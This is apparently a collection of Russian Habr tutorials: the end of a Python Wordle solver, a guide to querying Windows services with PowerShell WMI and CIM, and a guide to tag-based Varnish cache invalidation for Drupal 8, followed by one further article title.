Нужно взвесить каждое слово, чтобы предлагать самого вероятного кандидатов. Берём таблицу частотности и создаём функцию подсчёта слов, чтобы оценить частоту букв в слове:
```
def calculate_word_commonality(word):
score = 0.0
for char in word:
score += LETTER_FREQUENCY[char]
return score / (WORD_LENGTH - len(set(word)) + 1)
```
Снова используем строку как итерируемый объект, перебирая каждый символ в слове. Получаем частоту каждого слова, прибавляем её, общее количество делим на длину слова минус число уникальных символов (и плюс один, чтобы избежать деления на ноль).
Это функция подсчёта и взвешивания слов проста: более редким символам слова присваивается больший вес. В идеале нужно как можно больше уникальных и частотных символов, чтобы максимизировать вероятность попаданий в зелёный или жёлтый цвета в Wordle.
Быстрый тест подтверждает: слова с редкими и повторяющимися символами имеют меньший вес, чем с частотными и ещё более редкими:
```
>>> calculate_word_commonality("fuzzy")
0.04604572396274344
>>> calculate_word_commonality("arose")
0.42692633361558
```
Теперь нам нужен способ сортировать и показывать эти слова:
```
import operator
def sort_by_word_commonality(words):
sort_by = operator.itemgetter(1)
return sorted(
[(word, calculate_word_commonality(word)) for word in words],
key=sort_by,
reverse=True,
)
def display_word_table(word_commonalities):
for (word, freq) in word_commonalities:
print(f"{word:<10} | {freq:<5.2}")
```
С помощью sort\_by\_word\_commonality генерируем отсортированный (в порядке убывания) список кортежей со словом и его оценкой в каждом из них. Ключ сортировки — оценка.
> Чтобы получить первый элемент, проще вместо лямбда-выражения использовать operator.itemgetter.
>
>
Добавим также функцию быстрого отображения, чтобы перевести слова с оценками в простую табличную форму. Переходим к решателю задач.
### Пишем решатель задач для Wordle
Для простого консольного приложения используем функции input() и print():
```
def input_word():
while True:
word = input("Input the word you entered> ")
if len(word) == WORD_LENGTH and word.lower() in WORDS:
break
return word.lower()
def input_response():
print("Type the color-coded reply from Wordle:")
print(" G for Green")
print(" Y for Yellow")
print(" ? for Gray")
while True:
response = input("Response from Wordle> ")
if len(response) == WORD_LENGTH and set(response) <= {"G", "Y", "?"}:
break
else:
print(f"Error - invalid answer {response}")
return response
```
Его функционал прост. Запрашиваем у пользователя слово WORD\_LENGTH, данное в Wordle, и пишем ответ от Wordle. Вариантов ответа три (зелёный, жёлтый и серый), поэтому кодируем его простой строкой из трёх символов: G, Y и ?.
Я также добавил обработку ошибок на случай, если пользователь ошибся при вводе. Цикл продолжается, пока н задана правильная последовательность. Я снова преобразую входные данные в множество, а затем проверяю, является ли это множество пользовательских данных подмножеством допустимых ответов.
### Фильтрация зелёных, жёлтых и серых букв с помощью вектора слов
Согласно правилам, буква становится зелёной, если она *и* её место в слове угаданы, жёлтой, если она есть в слове, но в другом месте, и серой, если её в слове нет. Есть и другая интерпретация правил: пока в Wordle не указано, какие буквы зелёные, жёлтые или серые, возможно всё:
```
word_vector = [set(string.ascii_lowercase) for _ in range(WORD_LENGTH)]
```
Здесь создаём список множеств, причём его размер равен длине слова, то есть 5. Каждый элемент — это множество всех строчных английских символов. Выполнив цикл для каждого множества, удаляем символы по мере исключения их слова:
* Зелёные буквы ограничены только этой буквой.
* То есть, если зелёная — вторая буква в слове, меняем множество, чтобы на месте второй буквы оказалась только эта буква.
* Жёлтые буквы означают *дополнение* этой буквы.
* То есть на этом месте могут быть все буквы, *кроме* этой. Удаление буквы из множества на этом месте гарантирует: мы не сможем выбрать слова, в которых значение этой буквы — [именно] этот символ.
* Серые буквы означают исключение этой буквы из вектора.
* То есть этот символ удаляется из всех множеств в векторе слов.
Теперь нужна функция, чтобы определить, соответствует ли слово вектору слов. Вот простая и удобная:
```
def match_word_vector(word, word_vector):
assert len(word) == len(word_vector)
for letter, v_letter in zip(word, word_vector):
if letter not in v_letter:
return False
return True
```
В этом подходе используется zip для попарного сопоставления каждого символа в слове и векторе слов (если они есть).
Если буквы нет в множестве вектора слов на этом месте, выходим без найденного соответствия. В противном случае продолжаем и, если выйдем из цикла штатно, вернётся True, указывающее на найденное соответствие.
### Сопоставление слов
Реализовав правила, напишем функцию поиска, в которой список слов фильтруется с учётом ответов, получаемых от Wordle:
```
def match(word_vector, possible_words):
return [word for word in possible_words if match_word_vector(word, word_vector)]
```
В средстве сопоставления всё рассмотренное выше объединяется в едином генераторе списков, где выполняется проверка. Каждое слово проверяется на соответствие word\_vector с использованием match\_word\_vector.
### Итерирование ответа
Теперь нужен небольшой пользовательский интерфейс, чтобы многократно запрашивать искомый ответ:
```
def solve():
possible_words = WORDS.copy()
word_vector = [set(string.ascii_lowercase) for _ in range(WORD_LENGTH)]
for attempt in range(1, ALLOWED_ATTEMPTS + 1):
print(f"Attempt {attempt} with {len(possible_words)} possible words")
display_word_table(sort_by_word_commonality(possible_words)[:15])
word = input_word()
response = input_response()
for idx, letter in enumerate(response):
if letter == "G":
word_vector[idx] = {word[idx]}
elif letter == "Y":
try:
word_vector[idx].remove(word[idx])
except KeyError:
pass
elif letter == "?":
for vector in word_vector:
try:
vector.remove(word[idx])
except KeyError:
pass
possible_words = match(word_vector, possible_words)
```
Большая часть приведённых выше настроек выполняется в функции решателя. После чего переходим в цикле к ALLOWED\_ATTEMPTS + 1 и показываем каждую попытку с возможным числом оставшихся слов. Затем вызываем display\_word\_table, чтобы распечатать красивую таблицу с 15 соответствиями, имеющими наибольшие оценки. Затем запрашиваем слово и получаемый на него ответ от Wordle.
Перечисляем ответ, запоминая место каждой буквы. Код прост: сопоставляем каждый из трёх символов ответа с соответствующим контейнером (зелёный с word\_vector и т. д.) и применяем правила.
Наконец, переопределяем possible\_words с помощью нового списка соответствий из match и повторяем цикл, отображая уже меньшее подмножество.
**Попробуйте:**
Ответы соответствуют запросам, переданным в решатель задач. Запускаем его, вызывая solve() (для краткости часть выходных данных опущена):
```
>>> Attempt 1 with 5905 possible words
arose | 0.43
raise | 0.42
... etc ...
Input the word you entered> arose
Type the color-coded reply from Wordle:
G for Green
Y for Yellow
? for Gray
Response from Wordle> ?Y??Y
Attempt 2 with 829 possible words
liter | 0.34
liner | 0.34
... etc ...
Input the word you entered> liter
Response from Wordle> ???YY
Attempt 3 with 108 possible words
nerdy | 0.29
nehru | 0.28
... etc ...
Input the word you entered> nerdy
Response from Wordle> ?YY?G
Attempt 4 with 25 possible words
query | 0.24
chewy | 0.21
... etc ...
Input the word you entered> query
Response from Wordle> GGGGG
Attempt 5 with 1 possible words
query | 0.24
```
### Заключение
* Абстракции множества, генераторы списков, словарей и т. д. — это мощные инструменты Python, сочетающие обход цикла и фильтрацию. Но перестараться с ними в циклах for или операторах if — значит затруднить восприятие кода. Ограничьтесь несколькими for и if.
* Множества — одно из главных преимуществ Python.
* Умение своевременно применять *принадлежность множеству* делает код более стабильным, математически корректным и лаконичным. Здесь оно используется очень эффективно — не пренебрегайте множествами!
* Задействовать пространство поиска в полной мере позволяют регулярные выражения.
* Лучше всего им удаётся нахождение соответствия (или несоответствия) символов. Хотя здесь ещё есть что изучать: подумайте, как переписать средство сопоставления и преобразование слов в векторную форму, используя регулярные выражения.
* В модулях itertools и collections есть полезные вспомогательные средства.
* С простым Python вам многое по плечу, если уметь использовать встроенные модули. itertools особенно хорош для ленивого или итеративного вычисления значений.
Продолжить изучение Python вы сможете на наших курсах:
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_140122&utm_term=conc)
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_140122&utm_term=conc)
Узнайте подробности [здесь](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_140122&utm_term=conc).
Профессии и курсы**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_140122&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_140122&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_140122&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_140122&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_140122&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_140122&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_140122&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_140122&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_140122&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_140122&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_140122&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_140122&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_140122&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_140122&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_140122&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_140122&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_140122&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_140122&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_140122&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_140122&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_140122&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_140122&utm_term=cat) | https://habr.com/ru/post/645653/ | null | ru | null |
# Управляем службами Windows с помощью PowerShell. Часть 3. Конфигурируем службы с помощью WMI и CIM
Продолжаем публиковать переводы статей, выходящих на портале [4sysops.com](http://4sysops.com), посвященных управлению службами Windows с помощью PowerShell. В двух предыдущих постах были рассмотрены вопросы получения статуса служб на локальном и удаленном компьютерах ([здесь](http://habrahabr.ru/company/netwrix/blog/166289/)) и базовые моменты управления службами (запуск, остановка, пауза и прочее – [здесь](http://habrahabr.ru/company/netwrix/blog/167171/)). В этом посте будет рассказано, как использовать WMI и CIM для целей конфигурирования служб на удаленных компьютерах.
**Предыдущие статьи:**
[Управляем службами Windows с помощью PowerShell. Часть 1. Получаем статус служб](http://habrahabr.ru/company/netwrix/blog/166289/)
[Управляем службами Windows с помощью PowerShell. Часть 2. Остановка, запуск, пауза](http://habrahabr.ru/company/netwrix/blog/167171/)
В последней статье я показал пару примеров использования **Set-Service** для конфигурирования служб. Однако здесь имеются некоторые ограничения, особенно когда мы работаем со службами на удаленных машинах. Частично это обусловлено тем, что такие командлеты как **Get-Service** и **Set-Service** предназначены для работы с объектом службы, который выражен через .NET Framework — System.ServiceProcess.ServiceController. С позиций администратора в таком определении объекта отсутствует ряд полезной информации, например, под какой учетной записью запущена служба. К счастью, здесь нам на помощь приходит Windows Management Instrumentation (WMI).
#### Используем WMI
Мы можем использовать **Get-WmiObject** для извлечения экземпляра объекта службы. Я продемонстрирую в PS 3.0 на Windows 8, но та же самая команда должна работать и PS 2.0. Найдем те службы, у которых класс — Win32\_Service.
```
PS C:\> get-wmiobject win32_service | format-table
```
Я отформатировал вывод команды, чтобы его было легче читать. А теперь давайте взглянем на отдельную службу.
```
PS C:\> get-wmiobject win32_service -filter "name='bits'"
ExitCode : 0
Name : BITS
ProcessId : 876
StartMode : Auto
State : Running
Status : OK
```
Чтобы получить другие свойства, используем следующую команду.
```
PS C:\> get-wmiobject win32_service -filter "name='bits'" | Select *
```
Вывод показан на скриншоте.
Теперь вы знаете свойства службы, и можете создавать уточняющие запросы, используя параметр**–Filter**.
#### Получаем тип автозагрузки
Свойство **StartMode** показывает, стартует ли служба автоматически или должна запускаться вручную. Когда вы это узнаете, то можете использовать следующие команды:
```
PS C:\> get-wmiobject win32_service -filter "StartMode <>'disabled'" | sort StartMode | format-table -GroupBy StartMode -Property Name,State,PathName -AutoSize
```
Команда выведет нам таблицу, сгруппированную по типу загрузки с новыми ключевыми свойствами. Запустите ее самостоятельно и посмотрите на результат.
```
PS C:\> get-wmiobject win32_service -filter "startmode='auto' AND state<>'Running'" | Select Name,State
Name State
---- -----
MMCSS Stopped
RemoteRegistry Stopped
sppsvc Stopped
wuauserv Stopped
```
Я запрашиваю информацию о локальных службах, но то же самое можно сделать и на удаленных машинах
```
PS C:\> get-wmiobject win32_service -filter "startmode='auto' AND state<>'Running'" -computername chi-dc01,chi-dc02,chi-dc03 | Select Name,State,Systemname
Name State Systemname
---- ----- ----------
sppsvc Stopped CHI-DC01
sppsvc Stopped CHI-DC02
VMTools Stopped CHI-DC02
RemoteRegistry Stopped CHI-DC03
ShellHWDetection Stopped CHI-DC03
sppsvc Stopped CHI-DC03
wuauserv Stopped CHI-DC03
```
#### Получаем учетную запись, под которой запущена служба
Также с помощью WMI вы можете получить учетную запись, под которой запущена служба. В WMI таковым является свойство **Startname**.
```
PS C:\> get-wmiobject win32_service -comp chi-ex01 | group startname
Count Name Group
----- ---- -----
95 localSystem {\\CHI-EX01\root\cimv2:Win32_Service.Name="AeLook...
36 NT AUTHORITY\LocalService {\\CHI-EX01\root\cimv2:Win32_Service.Name="ALG", ...
24 NT AUTHORITY\NetworkSe... {\\CHI-EX01\root\cimv2:Win32_Service.Name="aspnet...
```
И конечно, вы можете осуществить фильтрацию по этому свойству.
Это очень удобно, если вы ищете службы, запущенные под определенной учетной записью, например, доменного администратора.
```
PS C:\> get-wmiobject win32_service -computer $computers -filter "startname like '%administrator%'"| Select Name,startmode,state,startname,systemname
Name : BITS
startmode : Manual
state : Stopped
startname : .\Administrator
systemname : CHI-EX01
Name : PeerDistSvc
startmode : Manual
state : Stopped
startname : Administrator@GLOBOMANTICS.local
systemname : CHI-WIN8-01
```
С помощью одной простой команды я нашел те службы, которые запущены под определенной учетной записью администратора.
#### Используем CIM
В PowerShell 3.0 вы можете использовать [командлеты CIM](http://blogs.msdn.com/b/powershell/archive/2012/08/24/introduction-to-cim-cmdlets.aspx), чтобы осуществлять те же самые запросы. Преимущества CIM связаны с удаленной работой с PowerShell.
```
PS C:\> get-ciminstance win32_service -comp chi-dc01
```
Фильтры работают аналогичным образом.
```
PS C:\> get-ciminstance win32_service -filter "startmode='auto' AND state<>'Running'" -comp chi-ex01 | Select Name,State,Systemname
Name State Systemname
---- ----- ----------
clr_optimization_v4.0.30319_32 Stopped CHI-EX01
clr_optimization_v4.0.30319_64 Stopped CHI-EX01
MSExchangeProtectedServiceHost Stopped CHI-EX01
MSExchangeRPC Stopped CHI-EX01
MSExchangeSA Stopped CHI-EX01
MSExchangeServiceHost Stopped CHI-EX01
ShellHWDetection Stopped CHI-EX01
sppsvc Stopped CHI-EX01
```
Как можно видеть в выводе, имеются некоторые проблемы с Exchange. С ними и ими подобными мы будем разбираться в следующей статье.
#### Итог
Использование WMI или CIM – хороший способ получить отчеты о конфигурации служб в вашей среде. Класс Win32\_Service содержит в себе много полезной информации. Плюс Вы можете запускать длительные запросы (long running queries) с параметром **–Asjob** или использовать альтернативные учетные данные. Вы всегда можете это сделать с помощью **Get-Service**, но это отнимает много времени. В следующей статье мы рассмотрим, как менять службы с помощью WMI и CIM.
Upd:
В посте приведен перевод статьи с портала [4sysops.com](http://4sysops.com/)
[Managing Services the PowerShell way – Part 5](http://4sysops.com/archives/managing-services-the-powershell-way-part-5/)
**Предыдущие статьи:**
[Управляем службами Windows с помощью PowerShell. Часть 1. Получаем статус служб](http://habrahabr.ru/company/netwrix/blog/166289/)
[Управляем службами Windows с помощью PowerShell. Часть 2. Остановка, запуск, пауза](http://habrahabr.ru/company/netwrix/blog/167171/) | https://habr.com/ru/post/168011/ | null | ru | null |
# Drupal 8 + Varnish: Кешируем HTML правильно
Drupal 8 – это самый свежий релиз CMS Drupal. Varnish – это HTTP reverse proxy cache, надстройка над вебприложением, которая позволяет кешировать HTTP ответы в ОЗУ сервера.
Когда мы ставим Varnish перед Drupal’ом (либо любым другим вебприложением), схема обработки входящего HTTP запроса трансформируется следующим образом.
Еще во времена Drupal 6 и 7 с помощью Varnish’а было очень удобно кешировать статические ресурсы (рисунки, CSS, JavaScript файлы). Но были пробемы с кешированием HTML страниц – не существовало удобного механизма выборочной инвалидации кеша. Оставалось только либо сознательно отдавать устаревший кеш, либо полностью очищать кеш в Varnish при каких-либо изменениях в Drupal. Оба подхода имели свои недостатки.
Если при каком-либо изменении в Drupal’е вы не инвалидировали кеш Varnish’а, то нужно было ставить относительно маленький TTL, чтобы кеш Varnish’а достаточно быстро устаревал и Varnish обновлял свой кеш новыми данными из Drupal’а.
C другой стороны, если вы на “каждый чих” в Drupal, очищали кеш Varnish’а, то зачастую эти меры оказывались избыточными. Какой-нибудь юзер мог написать безобидный комментарий под малопосещаемой страницей, и это приводило к инвалидации всего кеша Varnish’а (в том числе и очень посещаемых страниц, которые на самом деле не поменялись из-за добавленого комментария).
### Drupal 8 Cache API
К счастью, дела обстоят куда лучше в Drupal 8, где была добавлена система гибкого кеширования через мета-информацию. Я настоятельно рекомендую любопытным почитать [официальную документацию](https://www.drupal.org/docs/8/api/cache-api/cache-api). Вкратце, эта система позволяет Drupal’у отслеживать от чего (ноды, комментарии, конфиги и т.д.) зависит сгенерированная страница. Каждая страница ассоциируется с набором кеш тегов (cache-tags). Затем, при любом изменении состояния, Drupal распознает какие кеш теги необходимо инвалидировать. Это в свою очередь позволяет Drupal’у инвалидировать лишь минимально необходимый набор закешированых страниц, когда что-то (нода, комментарий, конфиг) изменилось. Именно такой подход используется в ядре Drupal’а для инвалидирования внутреннего кеша. С помощью пары ловких движений можно добиться схожего “минимально необходимого” инвалидирования в кеше Varnish’a.
### Расширяем Cache API на Varnish
Этот туториал считает, что вы уже успешно установили и настроили Varnish для статических ресурсов (графика, css, javascript). Для покрытия кешем еще и анонимных HTML страниц нам потребуется 3 шага:
1. Объяснить Varnish’у какая страница зависит от каких кеш тегов. Drupal уже имеет это знание, его просто нужно передать Varnish’у.
2. В момент, когда какой-то кеш тег инвалидируется в Drupal’е, нужно также инвалидировать все страницы в кеше Varnish’a, которые зависят от этого кеш тега.
3. Подготовить Varnish ко всем этим нововведениям.
Все эти вещи уже реализованы в виде модулей в экосистеме Drupal’а. Нам потребуется:
* [Purge](https://www.drupal.org/project/purge) – своего рода фреймворк для инвалидации внешних HTTP кешей (Varnish, CDN, Nginx)
* [Varnish Purger](https://www.drupal.org/project/varnish_purge) – реализация этого фреймворка под Varnish.
Если вы используете composer, то:
```
composer require "drupal/purge:^3.0"
composer require "drupal/varnish_purge:^1.0"
```
Включите следующие модули:
* Purge (purge)
* Purge Drush (purge\_drush)
* Purge Tokens (purge\_tokens)
* Purge UI (purge\_ui)
* Cron processor (purge\_processor\_cron) или Late runtime processor (purge\_processor\_lateruntime). О разнице между этими 2 модулями чуть позже.
* Core tags queuer (purge\_queuer\_coretags)
* Varnish Purger (varnish\_purger)
* Varnish Purger Tags (varnish\_purge\_tags)
### Настройка Drupal 8
Нужно объяснить Drupal’у, где находится Varnish и как частично инвалидировать его кеш. После установки вышеперечисленных модулей, перейдите на страницу `/admin/config/development/performance/purge`. Добавьте *Varnish purger*, укажите правильный путь к хосту, где находится Varnish.
В *Type* укажите *Tag*, т.к. мы используем кеш теги Drupal’а для инвалидации. В *Request method* укажите *Ban*, т.к. соответствующая часть конфигов Varnish’а ожидает именно такой метод HTTP запроса.
На вкладке *Headers*:
Добавьте заголовок *Cache-Tags* c содержимым *[invalidation:expression]*. Это токенизированное выражение будет заменено на значение инвалидированного кеш тега модулем Token.
Остальное можно (и нужно) конфигурировать под ваш вкус и конкретную ситуацию. Теперь Drupal будет включать заголовок *Cache-Tags* во все свои ответы, куда будет вписывать список кеш-тегов, участвовавших в формировании сгенерированной страницы. Varnish будет хранить эти заголовки, как часть своего кеша и будет их использовать для инвалидации кеша.
В этом месте удостоверьтесь, что ваш Drupal при запросе напрямую (минуя Varnish) действительно содержит *Cache-Tags* заголовок. В моем случае он выглядит вот так для первой попавшейся страницы: **спойлер**`Cache-Tags: block_view config:block.block.seven_breadcrumbs config:block.block.seven_content config:block.block.seven_help config:block.block.seven_local_actions config:block.block.seven_login config:block.block.seven_messages config:block.block.seven_page_title config:block.block.seven_primary_local_tasks config:block.block.seven_secondary_local_tasks config:block_list config:coffee.configuration config:shortcut.set.default config:system.menu.admin config:user.role.administrator config:user.role.authenticated http_response rendered user:1`
По умолчанию, Drupal отвечает `Cache-Control: private, no-cache` (т.е. запрещает кеширование) на все HTML ресурсы, которые он генерирует. Это значит, что Varnish не будет их кешировать. Нужно включить внешнее кеширование в настройках Drupal’а. Перейдите на страницу `/admin/config/development/performance` и выберите ненулевое значение для *Page cache maximum age*.
Я рекомендую начать с какого-нибудь безобидного 5-минутного кеша, и только когда все отлажено и успешно обкатано, переходить на полномасштабные значения длиной в часы либо дни.
Опять же, перепроверьтесь – запрашивая страницу Drupal’a анонимным пользователем, вы должны увидеть в ответ: `Cache-Control: public, max-age=[ненулевое время жизни кеша]`. А при запросе от имени авторизированного пользователя, в ответ должен прилететь `Cache-Control: private, no-cache`. Таким образом мы разрешили Varnish’у кешировать анонимные и только анонимные HTML страницы.
### Настройка Varnish
Теперь перейдем к подготовке Varnish’a. В ваш VCL необходимо добавить следующее.
Во-первых, Drupal теперь будет слать HTTP Ban запросы на ваш Varnish. Прежде всего мы должны ограничить доступ к обработке этого запроса, иначе кто угодно сможет чистить кеш Varnish’a. Для этого введем acl группу:
```
# Список адресов, с которых разрешен Ban запрос.
acl purge {
"127.0.0.1";
}
```
Нужно еще добавить саму обработку Ban запросов. В ваш *vcl\_recv* впишите в самое начало:
```
if (req.method == "BAN") {
# Проверим права на запрос.
if (!client.ip ~ purge) {
return (synth(403, "Not allowed."));
}
# Очистим кеш по “Cache-Tags” заголовку.
if (req.http.Cache-Tags) {
ban("obj.http.Cache-Tags ~ " + req.http.Cache-Tags);
}
else {
return (synth(403, "Cache-Tags header missing."));
}
# Уведомим об успешной обработке запроса.
return (synth(200, "Ban added."));
}
```
Так же, по умолчанию, Varnish будет ре-транслировать заголовки *Cache-Tags* и *Cache-Control*, которые он получит от Drupal’a, в свой ответ конечному клиенту (браузеру).
В случае *Cache-Tags* – это банально мусор, который вы будете гонять по сети и лишний источник информации о внутреннем устройстве вашей инфраструктуры. А в случае *Cache-Control: public* – это довольно нежелательное поведение, т.к. Drupal разрешил кеширование для Varnish’a, но кешировать страницы в браузерах ваших посетителей было бы некорректно (ведь они тогда с опозданием получат обновленный контент и вся наша умная схема про инвалидирование кешей пойдет на смарку). Посему в *vcl\_deliver* надо добавить:
```
# Убираем ненужный для клиента заголовок.
unset resp.http.Cache-Tags;
# Запрещаем кеширование на клиенте для динамических ресурсов.
if (resp.http.Content-Type ~ "text/html") {
set resp.http.Cache-Control = "private,no-cache";
}
```
На этом этапе можно перекреститься и перезапустить Varnish на живом сервере. Теперь Varnish умеет выборочно чистить свой кеш по HTTP Ban запросам, которые ему будет слать Drupal. Так же он будет умным образом кешировать HTML ресурсы (те, которые Drupal ему разрешит), но не будет позволять бразуерам их кешировать. Именно отсюда и происходит его название, как класс – reverse HTTP proxy cache – кешируем на HTTP прокси, а не на клиенте.
Плюшки, фантики и печеньки
--------------------------
Перепроверьте правильность всей конфигурации. Узнать об этом будет куда больнее от клиента в 2 часа ночи, чем сразу после внесения изменений. Поверьте моему ~~опыту~~ интуиции.
### Модули Cron processor и Late runtime processor
Я упомянул о том, что нам понадобится один из этих 2 модулей. Инвалидация кеша Varnish’а сделана по принципу очереди – в процессе обработки запроса Drupal вставляет в очередь определенные кеш теги, и потом некто должен обработать эту очередь, отправив соответствующие HTTP Ban запросы на Varnish. Оба модуля решают задачу обработки очереди, но делают это по-разному.
Cron processor обрабатывает очередь, когда запускается cron Drupal’а. Это значит, что cron становится стратегически важным (он и раньше должен таковым считаться). Также, из этой модели следует, что существует задержка вплоть до *Х* (где *Х* – это частота запуска cron’а), когда Varnish может отдавать закешированый и уже устаревший HTML контент. В некоторых случаях это приемлемо.
Альтернативный (и соответственно более агрессивный) обработчик очереди – это Late runtime processor. Он обрабатывает очередь кеш тегов в конце обработки каждого входящего HTTP запроса, т.е. в реальном времени.
Выбирайте один из двух обработчиков на ваш вкус и требования, представляемые к вебсайту. У меня сложилось впечатление, что большинство Drupal 8 вебсайтов используют Cron processor. Однако, проблем и откровенных багов с Late runtime processor также не зарегистрировано.
### Канал коммуникации Drupal → Varnish
С хоста, где находится Drupal, сделайте `curl -X BAN --header 'Cache-Tags: dummy-cache-tag' http://varnish-server.com`
Удостоверьтесь, что Varnish вам ответил 200 HTTP OK. Это значит, что вы правильно настроили Varnish, и он готов обрабатывать запросы на инвалидацию, которые будет слать Drupal.
### Дебаггинг информация в Drupal watchdog
На странице `/admin/config/development/performance/purge` вы можете настроить необходимый уровень логирования в watchdog Drupal’a. Очень полезно, когда нужно идентифицировать проблему.
### Размер очереди на инвалидацию
На странице `/admin/config/development/performance/purge` присутствует некоторый текущий статус. В частности, обратите внимание на счетчик *Queue size*. Он показывает текущую длину очереди на инвалидацию кеш тегов – это количество кеш тегов, которые уже инвалидировались в Drupal’e, но еще не были инвалидированы в Varnish’e.
Если вы используете инвалидацию через cron, убедитесь, что это число падает до нуля после запуска cron’a.
Если же у вас используется “Late runtime processor”, то вам следует ожидать ненулевые значения лишь периодически. Слишком высокая цифра, либо длительно не спадающая до 0 будет признаком каких-то проблем.
### Cache hit в Varnish’е
Не нужно верить теории. После проделанной работы, лучше перепроверить на практике факт, что Varnish правильно кеширует анонимные HTML страницы! Если ваш Varnish изначально не вставляет заголовки о cache hit в свои ответы, то достаточно добавить в *vcl\_deliver*:
```
if (obj.hits > 0) {
set resp.http.X-Varnish-Cache = "HIT";
}
else {
set resp.http.X-Varnish-Cache = "MISS";
}
```
Удостоверьтесь на практике, что запрашивая страницу от анонимного пользователя, Varnish ее закешировал (со второго раза он должен отвечать заголовком `X-Varnish-Cache: HIT`). В этот момент спровоцируйте инвалидацию исследуемой страницы в Drupal’е – почистите кеш Drupal’a либо пересохраните ноду (если вы анализируете страницу какой-нибудь ноды) и т.п. Не забудьте запустить cron Drupal’a, если он ответственен за инвалидацию кеша в Varnish’e.
Повторите запрос на исследуемую страницу. Первый ответ должен содержать заголовок `X-Varnish-Cache: MISS` — таким образом вы подтвердите, что Drupal успешно уведомил Varnish об инвалидации необходимых кеш тегов, и последний успешно обработал полученный запрос на инвалидацию.
### Длина заголовков HTTP ответа
Сайты на Drupal 8 очень часто могут оказаться громоздкими. В частности это может вылиться в длинный список кеш тегов, ассоциируемых с определенной HTML страницей. Многие вебсервера и вообще Webserver + PHP стек в разных реализациях может иметь ограничение на максимальную длину заголовков ответа. Об это действительно можно споткнуться. Причем, если тестовое окружение имеет тестовый (урезанный) набор данных, то проблема всплывет только на живом окружении. Лечить проблему нужно в зависимости от того, как у вас развернут стек.
*Update:* Оказалось, что там не все так просто с длиной заголовков ответа. Вот issue на drupal.org, где я загрузил патч. Пачт весьма неплохо справляется с задачей уменьшения длины заголовков [www.drupal.org/project/purge/issues/2952277](https://www.drupal.org/project/purge/issues/2952277)
### Еще раз о Cache API в Drupal 8
Описанное в статье — это лишь малая часть того, как используется cache API в Drupal 8. Я лично считаю Cache API главным новведением по сравнению с Drupal 7. Если у читателей есть интерес, то я могу написать следующую статью, где рассмотрю глубже вопросы внутреннего устройства cache API; как кеширование переплетается с рендерингом в Drupal 8. | https://habr.com/ru/post/350978/ | null | ru | null |
# Шишки, набитые за 15 лет использования акторов в C++. Часть II
